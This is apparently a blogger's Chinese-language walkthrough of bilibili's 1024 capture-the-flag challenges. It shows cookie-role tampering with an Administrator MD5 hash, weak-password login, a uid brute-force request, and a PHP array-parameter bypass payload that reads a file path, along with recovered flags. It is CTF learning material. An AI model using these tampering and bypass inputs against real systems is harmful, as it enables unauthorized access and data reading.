bilibili在1024的時候出了個活動,反正在家菜的沒事做,隨便看看。菜的不行,只會幾道題,看個樂呵就行了,沖沖衝。
直接檢視原始碼
<script>
$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳轉
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果沒值
$('#flag1').html("介面異常,請稍後再試~");
}
}
})
</script>
直接get請求存取即可拿到flag1
http://45.113.201.36/api/admin
做第二題的時候發現這裡其實也可以直接f12看到flag。
存取過後是跟第一題一樣的頁面
同樣的,直接檢視原始碼
<script>
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳轉
$('#flag2').html("flag2: " + data.data);
} else {
// 如果沒值
$('#flag2').html("需要使用bilibili Security Browser瀏覽器存取~");
}
}
})
</script>
讓請求api/ctf/2
,直接請求是{"code":403,"data":"","msg":""}
,後面進行提示說要用bilibili瀏覽器,所以吧User-Agent
換成bilibili Security Browser
即可得到flag
這道題,直接存取是一個登入框
同樣瞅瞅原始碼
$("#submit").click(function(){
$.ajax({
url: "api/ctf/3",
type: "post",
contentType: "application/json",
dataType:"json",
data: JSON.stringify({
username: $("#name").val(),
passwd: $("#subject").val(),
}),
success:function (data) {
if (data.code == 200){
alert("flag is: " + data.data);
} else {
alert("使用者名稱或密碼錯誤~");
}
}
})
});
</script>
看到這,第一想的可能是存在弱口令啥的。賬號/密碼:admin/bilibili
原始碼是在這樣的。
<script>
$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳轉
$('#flag').html("歡迎超級管理員登陸~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果沒值
$('#flag').html("有些祕密只有超級管理員才能看見哦~")
}
}
})
</script>
意味著用get請求存取api/ctf/4
,直接存取的話會就是403,
後面也寫了祕密只能超級管理員才能看到,所以可以猜測是越權啥的,用bp抓了一下封包發現Cookie: role=ee11cbb19052e40b07aac0ca060c23ee; session=xxx
把將role進行md5解密發現是user,所以到這就一目瞭然了。
直接存取api/ctf/4
將cookie的role替換成Administrator的md5值MD5 32位元小寫即可Cookie: role=7b7bc2512ee1fedcd76bdc68926d4f7b;
即可得到flag
直接存取說沒有我想要的答案。同樣看了下原始碼
<script>
$(function () {
(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);
var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳轉
$('#flag').html("歡迎超級管理員登陸~flag : " + data.data )
} else {
// 如果沒值
$('#flag').html("這裡沒有你想要的答案~")
}
}
})
});
一看就知道是爆破uid,爆破即可。封包如下。
GET /api/ctf/5?uid=10033§6890§ HTTP/1.1
Host: 45.113.201.36
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: bilibili Security Browser
Content-Type: application/json
Origin: http://45.113.201.36
Referer: http://45.113.201.36/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: role=7b7bc2512ee1fedcd76bdc68926d4f7b; session=xxx
Connection: close
做不出來,太菜了,emmm.,不過可以通過第6關的提示做出第10關的flag。
這道題是redis上面可以拿。自己做的時候這個站根本就存取不了,在github上面看到別人發的,就直接把flag抄下來了,hhh。
下面是b站做了處理後,自己連線試了一下的截圖
做第6題的時候,掃描一下目錄就會發現有個test.php
http://120.92.151.189/blog/test.php
開啟是被編碼的(jother編碼),直接放在控制檯上面即可解開:
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()"
大致意思就是說去程式設計師最多的地方找,而程式設計師去得最多的地方就是gayhub了。(ps:最開始做的時候沒理解這個意思,看師傅們說了一下才懂得起的,hhh)
所以可以在github上面找到
https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php
程式碼是這樣的。
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//檔案路徑猜解
if (false){
echo "還差一點點啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在這兒~";
}
?>
這段程式碼比較簡單,主要就是==
和===
的區別,使用空陣列即可繞過。直接附上payload
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
會有個圖片,txt開啟即可收穫到第10關的flag
{flag10:2ebd3b08-47ffc478-b49a5f9d-f6099d65}}
沒啥技術含量的,隨便記一下吧。最後放一張可莉的圖就結束了。